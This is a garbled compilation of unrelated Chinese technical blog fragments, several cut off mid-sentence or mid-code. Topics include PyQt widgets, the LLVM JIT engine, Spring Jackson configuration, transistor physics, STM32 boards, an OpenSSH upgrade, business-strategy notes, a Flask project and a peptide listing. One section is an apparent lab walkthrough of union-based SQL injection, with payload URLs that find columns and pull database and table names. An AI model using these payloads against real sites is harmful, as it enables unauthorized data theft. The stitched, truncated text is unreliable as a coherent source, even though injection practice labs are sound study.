文章目录 QLabel设置图片 QLabel设置图片 from PyQt5.QtWidgets import * from PyQt5.QtGui import * import sys app = QApplication(sys.argv) window = QWidget() hbox = QHBoxLayout(window) # 设置标签图片 lable = QLabel() lable.setPixmap(QPixmap('./img/window.png').scaled(100, 100)) hbox.addWidget(lable) window.show() sys.exit(app.exec_()) 运行结果:
即时编译器 LLVM即时(即时)编译器是基于函数的动态翻译引擎.
术语来自即时制造,即工厂按需制造或购买物资,而不放入仓库.在编译过程中,该比喻也很合适,因为即时编译器不会存储二进制程序到磁盘,而是在需要时才开始编译.
即时策略的优势,在于知道运行程序的精确的机器和微架构.这让即时系统可对特定处理器微调代码.
而且,有的编译器只有在运行时才知道其输入,因而只能实现即时系统.
如,GPU驱动即时编译着色语言,互联网浏览器处理js等.
了解LLVM即时引擎基础 LLVM即时编译器是基于函数的,因为它一次可编译单个函数.这定义了编译器的工作粒度,对即时系统来说这是个重要决定.
通过按需编译函数,编译器只会处理当前程序调用中实际用到的函数.如,你的程序有多个函数,但启动时设置了错误的命令行参数,基于函数的即时系统只会编译那个打印帮助消息的函数,而不是该程序.
即时引擎,在运行时编译且执行LLVMIR函数.在编译阶段,即时引擎会用LLVM生成目标相关的二进制指令组成的二进制数据块.
它返回编译后的可执行的函数指针.
一篇有趣的博客文章对比了即时编译的开源方法.
LLVM作为静态编译器比即时系统更加有名,因为在即时编译过程中,每趟消耗的时间是很重要的,这都算程序执行的成本.
和GCC相似,LLVM基础架构更注重支持慢而强的优化,而不是对构建有竞争力的即时系统很重要的快而弱的优化.
即时系统不值得浪费大量时间去优化仅执行几次的程序片段.
介绍执行引擎 LLVM即时系统有个支持执行LLVM模块的执行引擎.在<llvm_source>/include/llvm/ExecutionEngine/ExecutionEngine.h中定义ExecutionEngine类.
设计它通过即时系统或解释器执行.一般,一个执行引擎负责管理执行用户程序,分析要运行的程序片段,采取合理动作来执行它.
要即时编译,必须要有执行管理器来协调编译策略,(一次一个片段)运行用户程序.就LLVM的ExecutionEngine类而言,它把执行部分抛回给用户.
可运行编译管线,产生内存中的代码,但由你决定是否执行此代码.
除了有待执行LLVM模块,引擎支持下面几个场景:
1,懒(lazy)编译:调用函数时,引擎才编译它.关闭懒编译后,一旦请求函数指针,引擎就编译它们.
2,编译外部全局变量:包括解析当前LLVM模块的外部实体符号并分配内存.
3,与运行时动态加载共享对象(DSO)一样,通过dlsym查找和解析外部符号.
LLVM实现了两个执行引擎:llvm::JIT类和llvm::MCJIT类.ExecutionEngine::EngineBuilder()方法根据IR模块参数,实例化一个ExecutionEngine对象.
接着,ExecutionEngine::create()方法创建一个即时或MCJIT实例,两者实现截然不同.
注意,解释器实现了一个非传统策略来执行硬件平台(主机平台)不原生地支持的用户代码.如,LLVMIR是x86平台上的用户代码,因为x86处理器不能直接执行LLVMIR.
不同于即时编译器,解释器任务是读取每条指令,解码并执行它们,在软件中,模仿了物理处理器.
尽管解释器省去了启动编译器,翻译用户代码时间,它们往往慢得多.
管理内存 一般,即时引擎在运行时由ExecutionManager类,写二进制数据块进内存.随后,就可跳转到分配的内存区域(即调用ExecutionManager返回给你的函数指针),来执行这些指令了.
这里,对很多普通任务,如分配内存,释放内存,为加载库提供空间,和内存权限管理,管理内存很重要.
即时和MCJIT类都实现了自定义管理内存类,从RTDyldMemoryManager基类继承而来.
ExecutionEngine用户也可提供自定义的RTDyldMemoryManager子类,来指定在哪放置不同的即时组件.
可在<llvm_source>/include/llvm/ExecutionEngine/RTDyldMemoryManager.h文件中找该接口.
如,RTDyldMemoryManager类声明了如下方法:
1,allocateCodeSection()和allocateDataSection():这些方法分配内存,来保存给定大小和对齐的可执行代码和数据.
管理内存用户可通过内部节标识追踪已分配的节.
2,getSymbolAddress():返回当前链接的库中可获得的符号的地址.注意这不是用来取即时编译生成的符号.
调用时,必须提供一个std::string实例以保存符号的名字.
3,finalizeMemory():应该在加载完对象时调用,然后终于可设置内存权限了.如,不能在调用它前,运行生成代码.
它直接定向到MCJIT用户而不是即时用户.
尽管用户可提供自定义管理内存实现,JITMemoryManager和SectionMemoryManager分别是即时和MCJIT的默认子类.
llvm::即时基础结构 即时类和它的框架代表旧引擎,它是用LLVM生成代码的不同部分实现的.LLVM3.5之后,就要移除它.尽管该引擎大部分是目标无关的,每个目标必须为它的具体指令实现二进制指令输出.
把数据块写到内存 即时类通过MachineCodeEmitter类的JITCodeEmitter子类,输出二进制指令.MachineCodeEmitter类用来输出机器代码,它和新的机器代码(MachineCode,MC)框架没有关联,尽管旧,它依然存在并支持即时类的功能.
局限是只支持多个目标,且对支持目标,不支持所有目标特性.
MachineCodeEmitter类的方法,方便下列任务:
1,为当前要发射的函数分配空间
2,写二进制数据块到内存缓冲(emitByte(),emitWordLE(),emitWordBE(),emitAlignment(),等)
3,追踪当前缓冲地址(就是下一条发射指令位置的指针)
4,添加与此缓冲内的指令地址相关联的重定向
由参与发射代码过程JITCodeEmitter类写字节到内存.由JITCodeEmitter的子类,实现相关的即时功能和管理.
JITCodeEmitter是相当简单的,只是写字节到缓冲,而JITEmitter有下列改进:
1,特化的管理内存器,JITMemoryManager.
2,(JITResolver)解决者实例,跟踪和解决未编译函数的调用点.对懒编译函数至关重要.
使用JITMemoryManager JITMemoryManager类(见<llvm_source>/include/llvm/ExecutionEngine/JITMemoryManager.h)实现了低级内存处理,并为前面提及的类提供缓冲.
除了来自RTDyldMemoryManager的方法,它提供具体如allocateGlobal()等方法来协助即时类,为单个全局变量分配内存;
而startFunctionBody(),按读/写可执行标记分配内存时,创建调用即时来发射指令.
内部,JITMemoryManager类使用JITSlabAllocatorslab分配器(<llvm_source>/lib/ExecutionEngine/即时/JITMemoryManager.cpp)和MemoryBlock单元(<llvm_source>/include/llvm/Support/Memory.h).
发射目标代码 每个目标都实现一个叫<Target>CodeEmitter(见<llvm_source>/lib/Target/<Target>CodeEmitter.cpp)的机器函数趟,它按数据块编码指令,并用JITCodeEmitter写到内存.
如,MipsCodeEmitter遍历所有函数基本块,对每个(MI)机器指令,调用emitInstruction():
(...) MCE.startFunction(MF); for (MachineFunction::iterator MBB = MF.
前不久做的一个项目,需要在前端实时展示硬件设备的数据。设备很多,并且每个设备的数据也很多,总之就是数据很多。同时,设备的刷新频率很快,需要每2秒读取一遍数据。
问题来了,我们如何读取数据,并且在前端展示?
我的想法是利用多级缓存:
1)首先是有个数据采集程序,不停地采集设备的数据。采集到数据以后,写入redis的1号库;
2)WEB后端设置一个定时器,每2秒读一次redids的1号库,处理后写入redis的2号库。之所以要处理一下,是因为1号库的数据比较原始,处理后才适合前端处理
3)前端也设置一个程序,每2秒向后端请求一次数据,后端将redis#2数据返回;前端收到数据后写入前端缓存。我们前端是用vue搞的,所以存入store。
4)前端由很多个组件构成,每个组件都从store中读取数据,然后展示。
系统结构如图所示:
优点:
1)数据采集程序与WEB前后端解耦,职责单一,除了采集数据,啥都不用管。简单的往往就是最好的,不容易出错
2)后端定期处理原始数据,将结果缓存,当前端请求时,返回缓存中的该结果,减少重复劳动,提高了性能
3)前端虽有多个组件,但不是每一个组件都向后端请求,而是统一请求一次,存入前端缓存,然后全部组件都从前端缓存中读取,对性能是一个保障。
事实证明,这种多级缓存机制下,前端展示数据非常迅速,及时。虽然前端和WEB后端之间没有使用websocket进行数据传输,而是使用了最笨的定期获取,但丝毫没有影响前端的用户体验。
后端数据返回前端时,不返回null的字段_为null不返回-CSDN博客
前端调用某接口,返回的是一个 pojo,里面有些字段可能为null。null的字段,就不返回给前端了。 比如返回了User,里面只有一个account有值,其他都为null。那么在返回的时候,只返回account即可。 方式一:application上加配置 只需要在配置文件application上,增加spring.jackson.default-property-inclusion=non_null配置。
方式二:实体类上加配置 方式1其实有一定的局限性。如果项目里继承了WebMvcConfigurationSupport,那么方式1配置就失效了。
这种情况下,可以在实体类上加上 @JsonInclude(JsonInclude.Include.NON_NULL) 注解。
方式三:config全局配置 方式2虽然能达到效果,但是每个实体类上都加注解,实在费劲。
因此,可以在继承了WebMvcConfigurationSupport的类上,进行全局配置。
配置如下:
// JsonInclude全局配置 @JsonInclude(JsonInclude.Include.NON_NULL) @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder() .serializationInclusion(JsonInclude.Include.NON_NULL); converters.add(new MappingJackson2HttpMessageConverter(builder.build())); } 如下图所示
或者第二种配置方式
如果使用第二种配置方式还需要加上@EnableWebMvc才能生效。
在我们学习二极管的时候,脑袋里装了一个概念,就是二极管具有单向导通,反向截止的特性。正是这个概念,当我们刚学习到三极管的放大作用的时候,给了我们当头一棒。三极管处于放大状态的时候,有一个必要条件就是:发射结正偏,集电结反偏。那么,集电结反偏,为何还会产生IC?带着这个疑问,我仔细扒了一下教材和网上的资料,归纳如下(以NPN为例)。
一是首先我们要搞清楚发射结正偏,集电结反偏的三极管C、B、E三点的电位情况。
总的来说就是VC>VB>VE,而做到这一点必然要使VCC>VBB,这点从图中也能看出来
二是分析发射区-发射结-基区(N-PN结-P)
此时发射结正偏,既从基区->发射区(P->N)存在一个电场力,而发射区的多数载流子为自由电子,自由电子受到的电场力为发射区->基区(N->P),所以发射结正偏就是为了使自由电子在电场力的作用下产生扩散运动(发射区自由电子为多数载流子),从发射区越过发射结到达基区。
那问题又来了,发射区的自由电子跑到了基区,发射极岂不是带正电了,或者换种说法,发射极的自由电子总会跑光吧?当然不存在这个问题,我们有外加的电源VBB,VBB的负极与发射区相连,为其源源不断的提供自由电子!
三是分析基区-集电结-集电区(P-PN结-N)
上面这个图有点不太合适,毕竟刚才我们已经把发射区的大量自由电子通过VBB的作用搬运到了基区(P),所以我们可以认为基区现在的少数载流子(自由电子)的浓度已经非常高了。
按照上面发射区-基区的思路,大家可以尝试自己分析一下。
此时集电结反偏,既从集电区->基区(N->P)存在一个电场力,自由电子受电场力的作用产生漂移运动从基区(P)漂移到集电区(N),最后归于VCC的正极。
至此自由电子的定向移动产生了电流IC。
最后贴一张教材上的叙述,感兴趣的可以继续琢磨。
在本篇博客中没有详细阐述ICBO,ICEO,IBN等等电流的产生过程,初学者可以在弄懂大概的情况下,结合教材,仔细思考细节。
1 通用描述
1.1 STM8
MOSTek 6502 -> ST7 -> STM8
STM8型号单片机分为STM8A、STM8L、STM8S三个系列。
STM8A:汽车级应用
STM8L:超低功耗MCU
STM8S:标准系列
1.2 STM32
- F1系列用的最多,最大工作频率72MHz
- STM32固件库(函数)使用手册
STM32F107:2010,DWC2 FS OTG
STM32MP157C-DK2:MPU
STM32U5:U means ULP
1.3 ST开发板种类
ST官方出的有NUCLEO板、Discovery板以及评估板,配置从低到高,价格也是从低到高。
NUCLEO:一般只将MCU引脚引出,还有一个串口(通过STLINK USB虚拟),价格也就几十到100RMB左右。
Discovery板:一般比NUCLEO板多USB(MCU带USB),音频解码,耳机插孔。价格也就100多点。
评估板:功能是最全的,一般外设都有引出,功能最全,价格最高,几百到1000+RMB。
1.4 STM32 GPIO Alternate function mapping
GPIO复用功能要查找的是datasheet。TRM中是详细的寄存器描述,但不包括GPIO复用功能的描述。
2 开发环境搭建
2.1 STM32CubeMX_V4.27.0
www.st.com/stm32cubemx
STM32CubeMX可以生成Atollic公司的TrueSTUDIO项目文件。
2.2 IAR8.30.1
IAR embedded Workbench 8.30
https://m.baidu.com/ala/c/m.3322.cc/mip/40168.html
3 CAN
3.1 CAN分类
PT CAN:PowerTrain CAN,动力总成
CH CAN:Chassis CAN,底盘控制CAN总线
Body CAN:车身控制总线,BMW Body Domain Controller or Basis Central Platform
算子介绍 set_window_param 是 HALCON 的一个操作符,用于设置已打开窗口的不同参数。以下是一些通用的窗口参数:
‘flush’
启用或禁用在显示每个对象后刷新窗口内容。如果将 ‘flush’ 设置为 ‘false’,则必须调用 flush_buffer 来更新窗口内容。如果要与图形窗口的内容交互(例如,缩放或移动内容),必须将 ‘flush’ 设置为 ‘true’。可能的值:‘true’,‘false’。默认:‘true’。 ‘region_quality’
影响区域对象渲染的质量。特别是如果要为可视化而缩小的区域,则 ‘good’ 会产生更准确和令人愉悦的效果。如果只显示区域的边界(参见 set_draw),则忽略线宽(参见 set_line_width)的小数部分。可能的值:‘low’,‘good’。默认:‘low’。 ‘background_color’
设置窗口的背景颜色,clear_window 操作员使用此颜色清除窗口。可能的值:包含颜色名称的字符串(例如,‘black’,‘red’)。 ‘window_title’
允许更改已经打开的 HALCON 窗口标题栏中的文本。可能的值:包含最多 1023 个字符的字符串。 ‘anti_aliasing’
启用或禁用轮廓和区域的抗锯齿。可能的值:‘true’,‘false’。默认:‘true’。 ‘graphics_stack’
启用或禁用窗口的图形堆栈。启用图形堆栈后,使用 set_part 更改窗口部分会触发以前显示的对象相对于新部分的显示。可能的值:‘true’,‘false’。默认:‘false’。 ‘graphics_stack_max_element_num’
图形堆栈中的最大元素数。此数字对应于记录的显示操作数。此参数对 HDevelop 图形窗口的图形堆栈无效,并且在下一次调用显示操作员之前无效。可能的值:正数或 ‘unlimited’。默认:50。 ‘graphics_stack_max_memory_size’
限制图形堆栈的内存消耗。如果超过此限制,将从图形堆栈中删除较旧的显示操作。此参数对 HDevelop 图形窗口的图形堆栈无效,并且在下一次调用显示操作员之前无效。可能的值:字节中的内存限制或 ‘unlimited’。默认:‘unlimited’。 ‘pixel_grid_enable’
启用或禁用像素网格。如果激活像素网格,那么只要图像部分被放大到足够大(参见 ‘pixel_grid_min_resolution’),就会在显示的像素周围绘制网格。在更新窗口内容时,此参数有效。可能的值:‘true’,‘false’。默认:‘false’。限制:当启用 HDevelop 选项 Pixel Grid 时无效。 ‘pixel_grid_min_resolution’
指定在图形窗口中为绘制像素网格所需的图像像素的最小分辨率。仅当 ‘pixel_grid_enable’ 已设置为 ‘true’ 时,此参数才有效。如果假设此值设置为 20,则只要显示的图像部分中的像素占用图形窗口中的至少 20 x 20 像素,就会显示像素网格。 例子 set_window_param (CurrentWindowHandle, 'flush', 'false')
一、开发引导 调用说明
调用方式说明:
第一种方式:主动调用 这种调用方式是客户主动调用接口获取数据或实现功能;
主动调用需要传入APP_KEY和APP_SECRET用于权限校验;
注意:请在开发对接程序前联系技术支持进行注册,如果你还未签约,请先签约开通账户。
第二种方式:方法回调 这种调用方式是当达到预设条件如:任务完成或通话结束时,由系统主动向指定地址发送信息;
注意:请在开发前自主配置好回调地址。
机器人API是使用HTTP并遵循REST原则设计的Web服务接口;
您可以使用几乎任何客户端和任何编程语言与REST API进行交互。
通过发送简单的HTTP请求就可以轻松接入使用。
调用方式分为两种:主动调用和方法回调。
统一请求格式
URL格式:
/ai/{resource}/{function}
说明:
{resource}为资源名,通常对应一类API
{function}为该资源提供的操作方法
请求响应的结果为json格式
我们目前已经提供的接口,请参考API。
3、主动接收消息
1)登录接口,获取令牌
功能说明:
通过此接口可以获取到登录Token,后续任何请求只需要发送Token即可完成请求验证。
更新说明: --
请求:
URL:http://{ip}/ai/user/mmlogin
请求方法:
POST
请求参数:
参数名
类型
是否必须
描述
实例
username
String
是
登录帐号
test
password
String
是
登录密码
123456
响应:
参数名
类型
描述
errorCode
Integer
响应码 0 成功
Description
String
响应描述
Auth
String
成功响应的Token
data
Object
用户对象
入参JSON实例:
{
openssh9.3-p2以下版本有如下漏洞
在rhel7.4/7.5/7.6均做过测试。
本文需要用到的rpm包如下:
https://download.csdn.net/download/kadwf123/88652359
升级步骤
1、升级前启动telnet
##升级前启动telnet服务
yum -y install telnet-server
yum -y install xinetd
yum -y install telnet
systemctl restart telnet.socket
systemctl restart xinetd
##注意:默认telnet远程连接不能使用root用户。
2、升级openssl到1.1.1w
##升级openssl到1.1.1w
cd /root/rpmbuild/RPMS/x86_64/
rpm -ivh openssl-1.1.1w-1.el7.x86_64.rpm openssl-devel-1.1.1w-1.el7.x86_64.rpm --force --nodeps
[root@cdm421 ~]# rpm -qa | grep openssl
xmlsec1-openssl-1.2.20-7.el7_4.x86_64
openssl-1.0.2k-25.el7_9.x86_64
openssl-devel-1.1.1w-1.el7.x86_64
openssl098e-0.9.8e-29.el7_2.3.x86_64
openssl-libs-1.0.2k-25.el7_9.x86_64
openssl-devel-1.0.2k-25.el7_9.x86_64
openssl-1.1.1w-1.el7.x86_64
rpm -e openssl-1.0.2k-25.el7_9.x86_64 openssl-devel-1.0.2k-25.el7_9.x86_64 --nodeps
[root@cdm421 ~]# rpm -qa | grep openssl
xmlsec1-openssl-1.2.20-7.el7_4.x86_64
openssl-devel-1.1.1w-1.el7.x86_64
openssl098e-0.9.8e-29.el7_2.3.x86_64
openssl-libs-1.0.2k-25.el7_9.x86_64
openssl-1.1.1w-1.el7.x86_64
openssl version
1.判断注入类型
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1 http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显
则判断出是字符型注入,且注入是’注入
2.判断注入点
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值
则判断是sql注入
3.判断字段数量
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果
说明该数据库的字段数量是3
4.用union联合查询,判断回显点
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+
5.查询使用的是那个数据库
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+
6.查询表名
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+
查询到了security数据库里面的所有表名
7.查询users表里面的字段名
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.
文章目录 一、单一要素1.1 什么是单一要素1.2、关键步骤1.3、宏观行业上寻找变化 PEST模型 二、错位竞争:看环境,生存维度的全新角度2.1、生态位2.2 分形理论: 三、 如何提高组合成功率四、错位竞争的五个步骤 混沌学院创新课程《如何发现单一要素》《错位竞争:看环境,生存维度的全新角度》、《如何提高组合成功率》 读后笔记。 发现单一要素有三个步骤,首先是要素的拆解,然后是识别10倍速变化,然后赋之聚焦资源的行为。 可以从行业环境和宏观环境两个尺度来分别观察10倍速变化的要素。
行业环境:(波特五力)购买者的溢价能力,供应商的议价能力,同业竞争者的竞争程度,新进者的威胁,替代品的危险宏观环境:政治、经济、社会、技术 错位竞争: 企业一旦把经济要素组合起来,形成了商业模型,也就形成了自己的价值网。价值网既是企业的生存环境,也是束缚企业的无形之网。市场中的每一个领域几乎都有巨头,与巨头正面竞争的成功率很小,对于新进企业说,竞争的关键是用自己的优势去进攻巨头的劣势,我们把它称之为错位竞争。这也是创新的第一法则:与其更好,不如不同
如何提升组合成功率?组合的成功法则:破局和差异破局,找到十倍速变化的要素,All in 资源差异,找到与在位巨头差异化的优势和交付价值。
一、单一要素 1.1 什么是单一要素 单一要素是指与企业相关的关键要素
当外部关键要素发生十倍速变化,可能会导致战略转折点;
单一要素最大化:识别外部十倍速变化关键要素,聚焦与之相关的内部关键要素,重度投入资源,击穿阈值。
1.2、关键步骤 拆解要素识别十倍速变化聚焦资源的行为 1.3、宏观行业上寻找变化 PEST模型 政治、经济、社会、技术
政治:国内环境和国际环境
国内环境:政治制度和体制,方针政策,法规与法律
经济:
宏观经济:经济发展、经济基础结构、经济政策、城市化程度
微观经济:收入水平,消费结构,储蓄与信贷
社会:
人口:人口规模、年龄结构、人口分布
文化:文化传统、教育水平、价值观念、宗教信仰
二、错位竞争:看环境,生存维度的全新角度 创业企业的第一发展是错位竞争 新兴价值网,是创业者最好的机会窗口
2.1、生态位 原指在生态系统中,每一个物种都拥有自己的角色和地位,不会在同一地方竞争同一生存空间。 应用在商业中即指同质产品或相似服务,在同一市场区域竞争难以同时生存,需要区别自己独特的生存空间。
任何公司向巨头已经占据的领先定位,正面直接发起挑战,都无望获得成功。
找到一个能够扬长避短的领域,放大你的优势,同时让你的劣势变得不那么重要。
创业企业的第一法则是错位竞争。
2.2 分形理论: 分形指同一事物在不同尺度下具有自相似性。 第一曲线可以看作由更小尺度上许多S曲线组成,当环境发送变化时,第一曲线里某个小S曲线会成长为独立的第二曲线。 三、 如何提高组合成功率 对内:梳理核心能力
沉淀了哪些核心能力
对外:错位竞争的策略
四、错位竞争的五个步骤 Step1: 谁是我们的竞争对手 看环境
Step2:找机会,竞争对手的价值主张时什么
Step3: 为此他们做了什么行为
Step4:给用户带来什么新的麻烦,未能满足用户什么需求
Step5:我们的核心能力能解决这些麻烦或满足这些需求吗? 定策略
Parallels Desktop 18 for Mac是一款强大的虚拟化软件,它允许用户在Mac上轻松运行多个操作系统,包括Windows、Linux、Android等。它提供了预配置的虚拟机模板,方便用户快速创建虚拟机。
Parallels Desktop 18针对最新的Apple硬件和即将发布的macOS Ventura版本进行了优化,具有提升性能所需的一切功能。它还改进了基于ARM运行的Windows 11的兼容性,并具有强大的性能和游戏更新,让用户能够不被打断地完成更多工作。
此外,Parallels Desktop 18还添加了虚拟的PC,就像同时在一台电脑上拥有了两台电脑的使用体验。用户可以在Mac上运行Windows和macOS的应用,而无需重启Mac,两个系统互不影响。这使得用户可以同时享受Mac和Windows的最佳功能。
总的来说,Parallels Desktop 18 for Mac是一款功能强大、易于使用的虚拟化软件,适用于需要在Mac上运行多个操作系统的用户。
Parallels Desktop 18
文章目录 一 、如何识别破局点二、如何击穿破局点2.1 击穿阈值需要大资源,但企业往往资源有限,怎么办?2.2 木桶效应(管理)2.3 最大化模型 混沌学院创新课程《单一要素》,观后感 如果某个单一要素发生十倍速变化,就是这条曲线即将产生破局点的标注。任何破局点都有临界值,只有突破临界值,才能击穿破局点。想要突破临界值,必须把力量集中到一个点。这种方法叫做单一要素最大化,即聚焦第一曲线的某一个核心要素,重度投入资源,把它变成第二曲线的全部。 如何判断破局点?找到单一要素十倍速变化?
单一要素在创新破局点中的应用
组合要素的本质是什么? 依存条件(越少越好)
最小作用量原理:
奥卡姆剃刀定律:如无必要,勿增实体,即简单有效原理(简一律,任何理性系统,都运行在一条基本原理之上)
过了破局点,就能够产生正循环自增长,如果不能过破局点,只是低水平的重复而已;
一 、如何识别破局点 单一要素十倍速变化 是破局点来临前的信号。
格鲁夫模型
竞争的十倍速变化技术的十倍速变化用户的十倍速变化供应商的十倍速变化互补企业的十倍速变化营运规则的十倍速变化 组合式创新的供需模型
需求:用户需求的十倍速变化供给:技术革新的十倍速变化连接:组合方式的十倍速变化 二、如何击穿破局点 阈值效应:超越阈值,打破原有均衡引起的改变,称之为阈值效应。
相变临界点: 99% = 0, 101% = 1
绝大多数人,这样浪费自己的人生,其实没少用力气,但永远不会在一个地方突破阈值,只要不图谱阈值,人生其实就是没有一个新的天地。
击破阈值之前:遍地是红海(投入产出低)
急迫阈值之后:一花一世界
阈值效应之于商业,如同熵增定律之于物理学
2.1 击穿阈值需要大资源,但企业往往资源有限,怎么办? step: 最小切口
step2: 力出一孔
2.2 木桶效应(管理) 2.3 最大化模型 取胜的系统在最大化单一要素和最小化其他要素上,走到“近乎荒谬的极端”-查理-芒格
单一要素最大化:聚焦第一曲线的一个核心要素,重度投入资源,把它生长成为第二曲线的全部。
文章目录 如何实现高效拆解一、 拆解原则 MECE原则1.1 二分法1.2 矩阵法3.3 公式法3.4 流程法 混沌学院创新课程课程《如何实现高效拆解》,读后笔记感。 拆解就是通过层层分类找到关键要素。
拆解的MECE原则: “相互独立,完全穷尽,不相交,不包含”不包含MECE常用的分类法:二分法、矩阵法、公式法、流程法,拆解并非越细越好,拆解的目标是能发现变化的关键要素 如何实现高效拆解 分类是一种梳理出脉络的能力
是知识发展的前提,也是我们正确认识事物的前提
- 拆解就是通过层层分类分类,找到关键要素
一、 拆解原则 MECE原则 Mutually Exclusive, Collectively Exhaustive
相互独立,完全穷尽,不相交,不包含
1.1 二分法 把信息分成A和非A
1.2 矩阵法 按横纵维度交叉,分割为2*2个矩阵
纵轴维度A
横轴维度B,
重要紧急矩阵
安索夫矩阵
3.3 公式法 按照公式设计的要素去分类,只要公式成立,那这样的分类就符合MECE原则
产品总收入 = 单价 * 产品出售数量
3.4 流程法 按照事物发展的时间,流程、程序来对信息进行逐一的分类
5A客户行为路径 初识 Attention - 了解 Awareness - 询问 Ask - 亲临 Action - 力荐 After action
质量管理循环 PDCA 计划 Plan 执行 Do 检查 Check 就在 Action
文章目录 QTableView的使用示例 QTableView的使用 QTableView 是 PyQt 中用于显示表格数据的窗口部件,它提供了一个灵活的方式来显示和编辑数据。下面是一些关于 QTableView 的使用的具体信息:
创建 QTableView 对象:
from PyQt5.QtWidgets import QApplication, QTableView app = QApplication([]) # 创建应用程序对象 tableView = QTableView() # 创建 QTableView 对象 设置数据模型:
QTableView 依赖于数据模型来提供数据。常用的数据模型有 QStandardItemModel 和 QAbstractTableModel。可以根据数据的不同复杂性来选择合适的数据模型。
from PyQt5.QtGui import QStandardItemModel # 创建数据模型 model = QStandardItemModel() # 设置表头 model.setHorizontalHeaderLabels(["Column 1", "Column 2"]) # 设置数据 data = [ ["Row 1, Column 1", "Row 1, Column 2"], ["Row 2, Column 1", "Row 2, Column 2"
毕业设计:2023-2024年计算机专业毕业设计选题汇总(建议收藏)
毕业设计:2023-2024年最新最全计算机专业毕设选题推荐汇总
🍅感兴趣的可以先收藏起来,点赞、关注不迷路,大家在毕设选题,项目以及论文编写等相关问题都可以给我留言咨询,希望帮助同学们顺利毕业 。🍅
1、项目介绍 Python语言、MySQL数据库、Flask框架、Echarts可视化、中国天气网数据、requests爬虫技术、LayUI框架、HTML
关键词:数据可视化;Python;Echart;Flask;爬虫;气象
2、项目界面 (1)数据可视化大屏
(2)后台数据管理页面
(3)天气数据管理
(4)天气数据修改编辑
(5)系统注册登录界面
(6)数据采集页面
3、项目说明 随着科技技术的不断发展,人民物质生活质量不断提高,我们越来越关注身边的气象、空气等地理环境。对于普通居民我们会选择合适的气象进行出游,提高精神层面的生活质量;对于企业会关注气象变换状况,来定制相关的生产计划,来提高企业生产效率并降低生成过程中由气象造成的风险损失。从社会角度我们不难看出,气象时时刻刻影响我们的规划和生活,因此我们开发一套中国气象数据可视化系统,更加直观的呈现气象状况,是有必要的。
中国气象质量大数据展示与分析系统,通过使用python爬虫技术对中国气象数据进行实时获取,然后利用相关数据清洗以及数据库处理技术存入数据库,再通过Python Web框架也就是Flask框架进线系统后台数据接口开发,通过Echarts技术进行数据分析可视化展示以及通过LayUI前端技术开发后台数据管理页面从而来完成我们最终的中国气象数据可视化系统。
本文主要通过研究背景,对项目意义进线分析讨论;通过技术分析对项目技术架构选型进行敲定,根据系统需求分析和可行性分析来确定系统的主要功能结构。最后通过系统概要设计、数据库设计将设计的功能进行初步的建模。通过系统设计与实现以及测试阐述系统开发内容以及测试系统功能的正确性。从而最终完成系统的设计与实现。
关键词:数据可视化;Python;Echart;Flask;爬虫;气象
4、核心代码 from flask import Flask as _Flask, flash from flask import request, session from flask import render_template from flask.json import JSONEncoder as _JSONEncoder, jsonify import decimal from flask_apscheduler import APScheduler import service.users_data as user_service import service.weathers_data as weathers_data import service.view_data as view_data import service.version_data as version_data import service.slog_data as slog_data from service import data_service from spider.
Node获取当前git的提交信息并保存到json文件 核心完整代码总结 核心 本次需求的核心是引入shellJs,通过shell.exec运行命令获取git信息,其他都是常规的json获取和文件保存,所以核心是以下代码
const shell = require('shelljs') // 获取git分支名称 const branchs = shell.exec("git branch").trim().split('\n') branchs.forEach(function (item) { if (item.indexOf('*') > -1) { versionObj.branch = item.replace('*', '').trim() // 获取当前激活的分支 } }) 完整代码 /** * 版本更新信息对象 * status: 状态 * branch: 部署git分支 * lastCommitId:最后一次git提交记录ID * lastCommitMessage: 最后一次git提交记录消息 * buildDate:打包时间 */ var versionObj = { status: "up", branch: "", lastCommitId: "", lastCommitMessage: "", buildDate: "", }; const fs = require("fs"); const moment = require('moment') const shell = require('shelljs') // 获取git分支名称 const branchs = shell.
英文名称:DOTA-cyclo(RGDfK) acetate
Cyclo[L-arginylglycyl-L-alpha-aspartyl-D-phenylalanyl-N6-[2-[4,7,10-tris(carboxymethyl)-1,4,7,10-tetraazacyclododec-1-yl]acetyl]-L-lysyl]
中文名称:环[L-精氨酰甘氨酰-L-alpha-天冬氨酰-D-苯丙氨酰-N6-[2-[4,7,10-三(羧甲基)-1,4,7,10-四氮杂环十二烷-1-基]乙酰基]-L-赖氨酰]
CAS:909024-55-1
序列号:DOTA-Glu-[cyclo(Arg-Gly-Asp-DPhe-Lys(Acp))]2
分子式:C43H67N13O14
分子量:990.07
结构式:
溶解度:易溶 (870 g/L) (25℃)
密度:1.48±0.1 g/cm3 (20℃ 760 Torr)
纯度:≥95%
存储温度:2-8℃
四糖腺苷是一种合成肽,对应于天然激素ACTH(促肾上腺皮质激素)的前24个氨基酸。它刺激肾上腺皮质产生皮质类固醇、盐皮质激素,在较小程度上,还产生雄激素。
Tetracosactide is a synthetic peptide, which corresponds to the first 24 amino acids of the naturally occurring hormone ACTH (adrenocorticotropic hormone). It stimulates the adrenal cortex to produce corticosteroids, mineralocorticoids, and, to a lesser extent, androgens.
其他相关试剂:
DOTA-(CONH2)3 913528-04-8
DOTA-(COOt-Bu)3 137076-54-1
DOTA-(COOt-Bu)3-azide 1402795-92-9
